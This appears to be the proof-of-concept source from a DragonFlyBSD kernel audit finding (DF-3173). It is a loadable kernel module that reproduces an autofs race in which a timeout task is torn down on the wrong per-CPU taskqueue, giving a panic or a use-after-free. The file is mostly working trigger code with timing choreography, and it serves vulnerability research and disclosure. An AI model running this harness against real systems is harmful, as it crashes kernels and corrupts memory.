⬢ DragonFlyBSD Kernel Audit
DF-3173 / df3173_race.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
/*
 * DF-3173 — autofs timeout-task torn down on the wrong per-CPU taskqueue.
 *
 * Bug (sys/vfs/autofs/autofs.c):
 *   autofs_trigger_one() arms the request's timeout task on the CREATOR's
 *   per-cpu thread taskqueue:
 *       #define _taskqueue_thread (taskqueue_thread[mycpuid])   (:303)
 *       TIMEOUT_TASK_INIT(_taskqueue_thread, &ar->ar_task, ...) (:357)
 *       taskqueue_enqueue_timeout(_taskqueue_thread, ...)       (:359)
 *   but tears it down on the LAST RELEASER's per-cpu queue:
 *       taskqueue_cancel_timeout(_taskqueue_thread, ...)        (:398)
 *       taskqueue_drain_timeout (_taskqueue_thread, ...)        (:399)
 *
 *   The last releaser is not necessarily the creator: the request is
 *   refcounted and shared (dedup at :324-339), and the creator can exit
 *   early on EINTR (:366-377) — e.g. SIGKILL while blocked in the
 *   trigger — leaving a waiter on another CPU holding the last
 *   reference.  When that waiter frees the request on a different CPU
 *   than the creator:
 *
 *   (A) PANIC: if the timeout callout already transitioned the task
 *       onto its home queue (ta_pending>0) while a non-timeout
 *       completion (AUTOFSDONE ioctl, autofs.c:506-520) races the
 *       timeout boundary, taskqueue_cancel_locked() runs STAILQ_REMOVE
 *       of a task that is not on the passed queue's list
 *       (sys/kern/subr_taskqueue.c:424-425) — sys/sys/queue.h:319-331
 *       walks off the end and derefs NULL (ta_link is at offset 0).
 *
 *   (B) UAF: if the home queue's runner already dequeued the task
 *       (ta_pending==0, home tq_running==task), the wrong-queue drain
 *       compares the WRONG queue's tq_running (subr_taskqueue.c:493)
 *       and returns without waiting, so objcache_put(ar) (autofs.c:400)
 *       runs while autofs_task() (:196-211) is still executing on `ar`:
 *       AUTOFS_WARN prints ar->ar_path from freed memory (read-after-
 *       free) and writes ar_error=ETIMEDOUT / ar_wildcards / ar_done /
 *       ar_in_progress into the freed, reusable object (write-after-
 *       free).
 *
 * Harness (production-shaped on the trigger side; BOTH waiters are real
 * user processes doing stat() -> VOP_NRESOLVE -> autofs_trigger):
 *   - CREATOR: the script stats /df3173_mp/<key> at round start, then
 *     SIGKILLs it ~0.95 s in — the EINTR early exit that leaves the
 *     last reference to another CPU.
 *   - LAST RELEASER: a second stat() of the same key (dedup) on
 *     whatever CPU the scheduler picks (5/6 chance per round of
 *     differing from the creator's CPU).
 *   - A userland root "automountd stand-in" (fake_daemon3173.c) answers
 *     AUTOFSDONE just after the 1 s timeout boundary — the situation of
 *     a lagging automountd catching up with the 30 s frontier of its
 *     request queue.
 *
 * Module responsibilities: publish round/key/stage sysctls for the
 * script, read the request's home queue (ar_task.t.ta_queue), occupy
 * the home queue's runner with a spinner task across the boundary
 * (mode A: so the timeout task stays queued; mode B: so it is dequeued
 * right at the boundary and parked on sc_lock by a hold thread), and in
 * mode B re-get the freed object from the per-cpu magazine to observe
 * post-free writes.
 *
 * Mode A (debug.df3173_mode=1)  => foreign-list STAILQ_REMOVE panic.
 * Mode B (debug.df3173_mode=2)  => wrong-queue drain frees the request
 *                                  under the running autofs_task (UAF).
 *
 * Driver script (stat + SIGKILL choreography): run.sh / runB.sh.
 * Build: build.sh.
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/mount.h>
#include <sys/vnode.h>
#include <sys/mutex2.h>
#include <sys/kthread.h>
#include <sys/sysctl.h>
#include <sys/thread.h>
#include <sys/thread2.h>
#include <sys/types.h>
#include <sys/queue.h>
#include <sys/taskqueue.h>
#include <sys/objcache.h>
#include <sys/malloc.h>
#include <sys/spinlock2.h>
#include <cpu/cpufunc.h>

#include <vfs/autofs/autofs.h>

extern struct mntlist mountlist;

static int			g_mode;		/* 0=idle 1=panic 2=uaf */
static struct autofs_mount	*g_amp;
static struct autofs_node	*g_root;

static volatile int		g_round;	/* published round number */
static char			g_key[32];	/* published round key */
static int			g_pub_round;	/* sysctl shadow */
static char			g_pub_key[32];	/* sysctl shadow */
static volatile int		g_stage;	/* 1 = releaser may stat */
static int			g_pub_stage;

static struct autofs_request	*g_ar_seen;	/* this round's request */
static struct autofs_request	*g_ar_last;	/* last seen request ptr
						 * (not cleared on free;
						 * getters compare against
						 * this) */
static int			g_ar_id_seen = -1;
static struct taskqueue		*g_ar_q;	/* queue the timeout task
						 * was armed on (= the
						 * CREATOR cpu's queue) */

SYSCTL_INT(_debug, OID_AUTO, df3173_mode, CTLFLAG_RW, &g_mode, 0,
    "1=panic variant, 2=uaf variant");
SYSCTL_INT(_debug, OID_AUTO, df3173_round, CTLFLAG_RD, &g_pub_round, 0,
    "current round (script sync)");
SYSCTL_STRING(_debug, OID_AUTO, df3173_key, CTLFLAG_RD, g_pub_key,
    sizeof(g_pub_key), "current round key (script sync)");
SYSCTL_INT(_debug, OID_AUTO, df3173_stage, CTLFLAG_RD, &g_pub_stage, 0,
    "1 = request created, releaser may stat");

/*
 * sleeper task: occupies the home taskqueue's single runner thread
 * across the timeout boundary by SLEEPING inside the task function.
 * (A busy-spinning task would starve this kernel's per-cpu softclock
 * thread - kern_timeout.c:423 "softclock %d" - and the timeout callout
 * itself would never fire; sleeping keeps the runner busy, the
 * timeout task queued behind it, and softclock running.)
 */
static void		sleep_fn(void *, int);
static struct task	g_sleep_task = TASK_INITIALIZER(0, sleep_fn, NULL);
static volatile int	g_sleep_upto;

static void
sleep_fn(void *arg, int pending)
{
	int delta = g_sleep_upto - ticks;

	kprintf("DF3173:   sleeper running on cpu%d until tick %d "
	    "(now %d)\n", mycpuid, g_sleep_upto, ticks);
	while ((int)(ticks - g_sleep_upto) < 0) {
		delta = g_sleep_upto - ticks;
		tsleep(&g_sleep_upto, 0, "df3173sl", delta > 0 ? delta : 1);
	}
	kprintf("DF3173:   sleeper done at tick %d\n", ticks);
}

/*
 * hold thread (mode B): holds sc_lock across the dequeue moment so the
 * dequeued autofs_task parks on the mutex while the last releaser's
 * free path (which drops sc_lock at autofs.c:397 before cancel/drain/
 * put at :398-400) runs without it.
 */
static volatile int	g_hold_stop;

static void
hold_fn(void *arg)
{
	int delta = (int)(intptr_t)arg - ticks;

	while (delta > 0) {
		tsleep(&g_hold_stop, 0, "df3173hw", delta);
		delta = (int)(intptr_t)arg - ticks;
	}
	mtx_lock_ex_quick(&autofs_softc->sc_lock);
	kprintf("DF3173:   HOLD sc_lock at tick %d\n", ticks);
	delta = g_hold_stop - ticks;
	while ((int)(ticks - g_hold_stop) < 0) {
		delta = g_hold_stop - ticks;
		tsleep(&g_hold_stop, 0, "df3173hl", delta > 0 ? delta : 1);
	}
	mtx_unlock_ex(&autofs_softc->sc_lock);
	kprintf("DF3173:   RELEASE sc_lock at tick %d\n", ticks);
	kthread_exit();
}

/*
 * Mode B marker getters: one pinned per cpu; the freed request lands in
 * the last releaser's per-cpu magazine, so the getter pinned to that
 * cpu re-gets the exact object and observes post-free writes.
 */
static volatile int		g_get_gen;
static struct autofs_request	*g_mark_obj[MAXCPU];
static volatile int		g_mark_e0[MAXCPU], g_mark_e1[MAXCPU];
static volatile int		g_mark_done[MAXCPU];
static volatile int		g_mark_same[MAXCPU];

static void
getter_fn(void *arg)
{
	int id = (int)(intptr_t)arg;
	int mygen = 0;

	for (;;) {
		struct autofs_request *o;

		while (g_get_gen == mygen)
			tsleep(&g_get_gen, 0, "df3173g", 1);
		mygen = g_get_gen;

		o = objcache_get(autofs_request_objcache, M_WAITOK);
		g_mark_same[id] = (o == g_ar_last);
		g_mark_e0[id] = o->ar_error;
		memset(o->ar_path, 'Z', 16);
		o->ar_path[16] = 0;
		g_mark_obj[id] = o;
		kprintf("DF3173:   MARKER[%d] obj=%p (request was %p) %s "
		    "e0=%d\n", id, o, g_ar_last,
		    g_mark_same[id] ? "SAME-BLOCK" : "different-block",
		    g_mark_e0[id]);

		tsleep(&g_mark_obj[id], 0, "df3173m", hz / 5);
		g_mark_e1[id] = o->ar_error;
		g_mark_done[id] = o->ar_done;
		kprintf("DF3173:   MARKER[%d] readback e=%d done=%d "
		    "%s\n", id, g_mark_e1[id], g_mark_done[id],
		    (g_mark_same[id] && g_mark_e0[id] == 0 &&
		     g_mark_e1[id] == ETIMEDOUT) ?
		    "<== WRITE-AFTER-FREE (ar_error 0->ETIMEDOUT)" :
		    (g_mark_same[id] && g_mark_e1[id] == ETIMEDOUT) ?
		    "<== WRITE-AFTER-FREE (e0 already 145 at get)" :
		    "(no post-get write this round)");
		wakeup(&g_mark_obj[id]);
	}
}

static void
grab_request_info(const char *key)
{
	struct autofs_request *ar;

	g_ar_seen = NULL;
	g_ar_id_seen = -1;
	g_ar_q = NULL;
	mtx_lock_ex_quick(&autofs_softc->sc_lock);
	TAILQ_FOREACH(ar, &autofs_softc->sc_requests, ar_next) {
		if (strcmp(ar->ar_key, key) == 0) {
			g_ar_seen = ar;
			g_ar_last = ar;
			g_ar_id_seen = ar->ar_id;
			/* the queue the timeout task is armed on */
			g_ar_q = ar->ar_task.t.ta_queue;
			break;
		}
	}
	mtx_unlock_ex(&autofs_softc->sc_lock);
}

static int
qcpu(struct taskqueue *q)
{
	int i;

	for (i = 0; i < ncpus; i++) {
		if (q == taskqueue_thread[i])
			return (i);
	}
	return (-1);
}

/* sample the round request's state for the choreography debug log */
static void
sample_request(const char *tag, int round)
{
	struct autofs_request *ar = NULL;
	int ref = -1, done = -1, prog = -1, id = -1, pend = -1, qc = -2;
	int cflags = -1;

	mtx_lock_ex_quick(&autofs_softc->sc_lock);
	TAILQ_FOREACH(ar, &autofs_softc->sc_requests, ar_next) {
		if (strcmp(ar->ar_key, g_key) == 0) {
			id = ar->ar_id;
			ref = ar->ar_refcount;
			done = ar->ar_done;
			prog = ar->ar_in_progress;
			pend = ar->ar_task.t.ta_pending;
			qc = qcpu(ar->ar_task.t.ta_queue);
			cflags = ar->ar_task.f;
			break;
		}
	}
	mtx_unlock_ex(&autofs_softc->sc_lock);
	kprintf("DF3173:   R%02d %s req=%s id=%d ref=%d done=%d "
	    "inprog=%d ta_pending=%d tq=cpu%d cflags=%x\n", round, tag,
	    ar ? "alive" : "GONE", id, ref, done, prog, pend, qc, cflags);
}

static void
orchestrator_fn(void *arg)
{
	thread_t t;
	int round, hits, crossc, i;

	while (g_mode == 0)
		tsleep(&g_mode, 0, "df3173idle", hz / 10);

	kprintf("DF3173: mode=%d starting (%s)\n", g_mode,
	    g_mode == 1 ? "PANIC variant: foreign-queue STAILQ_REMOVE"
			: "UAF variant: wrong-queue drain frees running task");

	hits = crossc = 0;
	for (round = 1; round <= 40 && g_mode; round++) {
		ksnprintf(g_key, sizeof(g_key), "k3173_r%03d", round);

		/* publish round; the script stats the creator then waits
		 * for stage 1 to stat the releaser */
		strlcpy(g_pub_key, g_key, sizeof(g_pub_key));
		g_pub_round = round;
		g_stage = 0;
		g_pub_stage = 0;
		g_round = round;
		wakeup(&g_round);

		for (i = 0; i < 500; i++) {	/* wait for creator request
						 * (long: syncs with the
						 * script's poll loop) */
			tsleep(&g_round, 0, "df3173o", 1);
			grab_request_info(g_key);
			if (g_ar_seen != NULL)
				break;
		}
		if (g_ar_seen == NULL) {
			kprintf("DF3173: R%02d creator never created?!\n",
			    round);
			continue;
		}
		g_stage = 1;
		g_pub_stage = 1;
		kprintf("DF3173: R%02d T0 creator=userstat id=%d ar=%p "
		    "home_tq=cpu%d-queue key=%s\n", round, g_ar_id_seen,
		    g_ar_seen, qcpu(g_ar_q), g_key);
		sample_request("t0.0", round);

		/*
		 * T0+0.60: sleeper task on the HOME queue (the creator's):
		 * occupies the home runner so the 1s callout's task stays
		 * QUEUED (ta_pending=1).  mode A: runner busy until
		 * T0+1.30; mode B: T0+1.06 (task then dequeued and parked
		 * on sc_lock by the hold thread).
		 */
		tsleep(&g_round, 0, "df3173o", hz * 6 / 10);
		sample_request("t0.6", round);
		g_sleep_upto = ticks + (g_mode == 1 ? 70 : 46);
		taskqueue_enqueue(g_ar_q, &g_sleep_task);

		if (g_mode == 2) {
			int hold_at = ticks + 42;	/* T0+1.02 */

			g_hold_stop = ticks + 75;	/* T0+1.35 */
			kthread_create_cpu(hold_fn,
			    (void *)(intptr_t)hold_at, &t, 2, "df3173hold");
		}

		/*
		 * Script SIGKILLs the creator at stat+0.955 (EINTR exit,
		 * refcount 2->1).  Daemon AUTOFSDONE at T0+1.05 (mode 1)
		 * / T0+1.075 (mode 2) wakes the releaser stat, which is
		 * then the LAST releaser and frees the request on ITS
		 * cpu (5/6 chance of differing from the creator's).
		 */

		/* wait for the request to leave the TAILQ (freed);
		 * fine-grained sampling through the boundary window */
		for (i = 0; i < 160; i++) {
			tsleep(&g_round, 0, "df3173o", 1);
			if (i % 5 == 0)
				sample_request("w", round);
			grab_request_info(g_key);
			if (g_ar_seen == NULL)
				break;
		}
		sample_request("post", round);

		{
			int j;

			for (j = 0; j < ncpus; j++) {
				g_mark_same[j] = 0;
				g_mark_e1[j] = 0;
			}
			g_get_gen++;
			wakeup(&g_get_gen);
			tsleep(&g_round, 0, "df3173o", hz * 3 / 10);
			for (j = 0; j < ncpus; j++) {
				if (g_mark_same[j])
					kprintf("DF3173:   R%02d freed-object "
					    "resurfaced on cpu%d magazine "
					    "(home=cpu%d)%s\n", round, j,
					    qcpu(g_ar_q),
					    j != qcpu(g_ar_q) ?
					    "  <== CROSS-CPU FREE" : "");
				if (g_mark_same[j] &&
				    g_mark_e1[j] == ETIMEDOUT)
					hits++;
			}
			if (g_ar_seen == NULL)
				crossc++;
		}
		kprintf("DF3173: R%02d complete (request freed=%s)\n",
		    round, g_ar_seen == NULL ? "yes" : "NO (still queued?)");

		tsleep(&g_round, 0, "df3173o", hz);
	}

	kprintf("DF3173: finished %d rounds; freed-rounds=%d; uaf_marks=%d\n",
	    round - 1, crossc, hits);
	kprintf("DF3173: %s\n", hits ? "UAF CONFIRMED" :
	    "no marker observed (see VERDICT.md)");
	kthread_exit();
}

static int
df3173_load(struct module *m, int what, void *arg)
{
	static thread_t ggets[MAXCPU];
	static thread_t orch;
	int error, ci;

	switch (what) {
	case MOD_LOAD:
		{
			struct mount *mp;

			TAILQ_FOREACH(mp, &mountlist, mnt_list) {
				if (strncmp(mp->mnt_stat.f_fstypename,
				    "autofs", MFSNAMELEN) == 0)
					break;
			}
			if (mp == NULL) {
				kprintf("DF3173: no autofs mount "
				    "(run run.sh first)\n");
				return (ENODEV);
			}
			g_amp = VFSTOAUTOFS(mp);
			g_root = g_amp->am_root;
			kprintf("DF3173: autofs mount %s amp=%p root=%p\n",
			    mp->mnt_stat.f_mntonname, g_amp, g_root);
		}

		error = 0;
		for (ci = 0; ci < ncpus; ci++) {
			char name[24];

			ksnprintf(name, sizeof(name), "df3173g%d", ci);
			error |= kthread_create_cpu(getter_fn,
			    (void *)(intptr_t)ci, &ggets[ci], ci, "%s",
			    name);
		}
		error |= kthread_create(orchestrator_fn, NULL, &orch,
		    "df3173orch");
		if (error) {
			kprintf("DF3173: kthread_create failed %d\n", error);
			return (error);
		}
		kprintf("DF3173: harness loaded; "
		    "sysctl debug.df3173_mode=1|2 to start\n");
		return (0);
	case MOD_UNLOAD:
		/*
		 * Harness kthreads live in this module's text; refuse to
		 * unload so the module can never be freed under them
		 * (reset the guest between runs instead).
		 */
		return (EBUSY);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t df3173_mod = {
	"df3173_race",
	df3173_load,
	NULL
};

DECLARE_MODULE(df3173_race, df3173_mod, SI_SUB_PSEUDO, SI_ORDER_ANY);
MODULE_DEPEND(df3173_race, autofs, 1, 1, 1);